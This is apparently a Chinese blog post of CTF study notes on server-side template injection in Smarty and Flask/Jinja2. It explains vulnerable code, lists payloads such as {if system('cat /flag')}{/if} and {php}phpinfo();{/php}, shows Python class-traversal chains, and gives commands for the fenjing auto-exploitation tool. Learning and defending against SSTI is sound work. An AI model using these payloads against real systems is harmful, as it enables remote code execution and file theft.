SSTI模板注入

确定攻击方式

 

Smarty模板注入

Smarty 是 PHP 的模板引擎,有助于将表示 (HTML/CSS) 与应用程序逻辑分离。在 3.1.42 和 4.0.2 版本之前,模板作者可以通过制作恶意数学字符串来运行任意 PHP 代码。如果数学字符串作为用户提供的数据传递给数学函数,则外部用户可以通过制作恶意数学字符串来运行任意 PHP 代码。

Smarty漏洞成因

<?php
    require_once('./smarty/libs/' . 'Smarty.class.php');
    $smarty = new Smarty();
    $ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
    $smarty->display("string:".$ip);     // display函数把标签替换成对象的php变量;显示模板
}

 

这个地方对应的就是xff头处存在smarty模板,我们可以利用smarty形式来进行攻击。

攻击方法

{$smarty.version}

{$smarty.version}  #获取smarty的版本号

{php}{/php}

{php}phpinfo();{/php}  #执行相应的php代码

Smarty支持使用 {php}{/php} 标签来执行被包裹其中的php指令,最常规的思路自然是先测试该标签。但因为在Smarty3版本中已经废弃{php}标签,强烈建议不要使用。在Smarty 3.1,{php}仅在SmartyBC中可用。

{literal}

  • {literal} 可以让一个模板区域的字符原样输出。这经常用于保护页面上的Javascript或css样式表,避免因为 Smarty 的定界符而错被解析。
  • 在 PHP5 环境下存在一种 PHP 标签, <script>language="php"></script>,我们便可以利用这一标签进行任意的 PHP 代码执行。
  • 通过上述描述也可以想到,我们完全可以利用这一种标签来实现 XSS 攻击,这一种攻击方式在 SSTI 中也是很常见的,因为基本上所有模板都会因为需要提供类似的功能。
{literal}alert('xss');{/literal}

{if}{/if}

{if phpinfo()}{/if}

Smarty的 {if} 条件判断和PHP的if非常相似,只是增加了一些特性。每个{if}必须有一个配对的{/if},也可以使用{else} 和 {elseif},全部的PHP条件表达式和函数都可以在if内使用,如||or&&andis_array()等等,如:

{if is_array($array)}{/if}

还可以用来执行命令:

{if phpinfo()}{/if}
{if readfile ('/flag')}{/if}
{if show_source('/flag')}{/if}
{if system('cat /flag')}{/if}

 Python模板注入

flask默认使用的模板引擎是jinja2,它是一个功能齐全的python模板引擎,除了设置变量,还允许我们添加if判断,执行for循环,调用函数等。以各种方式控制模板的输出。对应jinja2来说,模板可以是任何格式的纯文本文件,比如HTML、XML、CSV等。

flask基础

  from flask import flask
 
    @app.route('/index/')
    def hello_word():
    return 'hello world'

route装饰器的作用是将函数与url绑定起来。例子中的代码的作用就是当你访问http:127.0.0.1:5000/index的时候,flask会返回hello world

渲染方法

flask的渲染方法有render_templaterender_template_string两种。

render_template()是用来渲染一个指定文件的。使用如下

    return render_template('indexhtml')

render_template_string则是用来渲染一个字符串的。SSTI与这个方法密不可分。使用如下

  html='<h1>This is index page</h1>'
    return render_template_string(html)

flask是使用Jinja2来作为渲染引擎的。看例子在网站的根目录下新建templates文件夹,这里是用来存放html文件。也就是模板文件。

test.py

    from flask import Flask,url_for,redirect,render_template,render_template_string
    @app.route('/index/')
    def user_login():
    return render_template('index.html')

/templates/index.html

    <h1>This is index page</h1>

访问127.0.0.1:5000/index/的时候,flask就会渲染出index.html的页面。

模板文件并不是单纯的html代码,而是夹杂着模板的语法,因为页面不可能都是一个样子的,有一些地方是会变化的。比如说显示用户名的地方,这个时候就需要使用模板支持的语法,来传参。

例子

test.py

    from flask import Flask,url_for,redirect,render_template,render_template_string
    @app.route('/index/')
    def user_login():
    return render_template('index.html',content='This is index page.')
 
    /templates/index.html
 
    <h1>{{content}}</h1>

{{}}在Jinja2中作为变量包裹标识符。

jinja2  

python -m fenjing scan --url 一把梭

python -m fenjing crack --url  。。。 --method GET --inputs name

模板注入

不正确的使用flask中的render_template_string方法会引发SSTI。那么是什么不正确的代码呢?

xss利用

存在漏洞的代码

 
    @app.route('/test/')
    def test():
    code = request.args.get('id')
    html = '''
    <h3>%s</h3>
    '''%(code)
    return render_template_string(html)

这段代码存在漏洞的原因是数据和代码的混淆。代码中的code是用户可控的,会和html拼接后直接带入渲染。

尝试构造code为一串js代码。

 
    @app.route('/test/')
    def test():
    code = request.args.get('id')
    return render_template_string('<h1>{{ code }}</h1>',code=code)

可以看到,js代码被原样输出了。这是因为模板引擎一般都默认对渲染的变量值进行编码转义,这样就不会存在xss了。在这段代码中用户所控的是code变量,而不是模板内容。存在漏洞的代码中,模板内容直接受用户控制的。

flask模板注入

1,几种常用的ssti魔术方法
 
__class__ 返回类型所属的对象
 
__mro__ 返回一个包含对象所继承的基类元组,方法在解析时按照元组的顺序解析。
 
__base__ 返回该对象所继承的基类
 
// __base__和__mro__都是用来寻找基类的
 
__subclasses__ 每个新类都保留了子类的引用,这个方法返回一个类中仍然可用的的引用的列表
 
__init__ 类的初始化方法
 
__globals__ 对包含函数全局变量的字典的引用
 
__builtins__ builtins即是引用,Python程序一旦启动,它就会在程序员所写的代码没有运行之前就已经被加载到内存中了,而对于builtins却不用导入,它在任何模块都直接可见,所以可以直接调用引用的模块
2,获取基类的几种方法
    [].__class__.__base__
    ''.__class__.__mro__[2]
    ().__class__.__base__
    {}.__class__.__base__
    request.__class__.__mro__[8]   //针对jinjia2/flask为[9]适用
    或者
    [].__class__.__bases__[0]       //其他的类似

 

本文参考文章:https://xz.aliyun.com/t/12220

https://blog.csdn.net/m0_51428325/article/details/121357005

 

posted @ 2023-04-24 20:18  Ekusas  阅读(126)  评论(0)    收藏  举报